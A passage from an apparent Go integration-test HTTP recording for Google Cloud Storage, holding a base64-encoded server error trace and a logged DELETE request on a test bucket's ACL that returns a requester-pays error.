kUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9bm90Rm91bmQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLk5PVF9GT1VORCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDTF9TQ09QRV9OT1RfRk9VTkQ6IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6ODYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmRlbGV0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5zY29wZSwgbWVzc2FnZT1udWxsLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLnNjb3BlLCBtZXNzYWdlPU5vdCBGb3VuZCwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm90IEZvdW5kOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDA0LCJtZXNzYWdlIjoiTm90IEZvdW5kIn19" - } - }, - { - "ID": "eb2af5bce5b9e1df", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12243" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:02 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:02 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uqgaldc1OJvgmfZxcZs4i5d6EXMyFK93ZUJLzSK8Vo-qPYKRwhvPzK8GFv3gqrdyjBbvdc2Uz57nCwy10LhC5AD2pscln8VbaQIOAHqxvkwsqV27Rw" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6ODYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmRlbGV0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb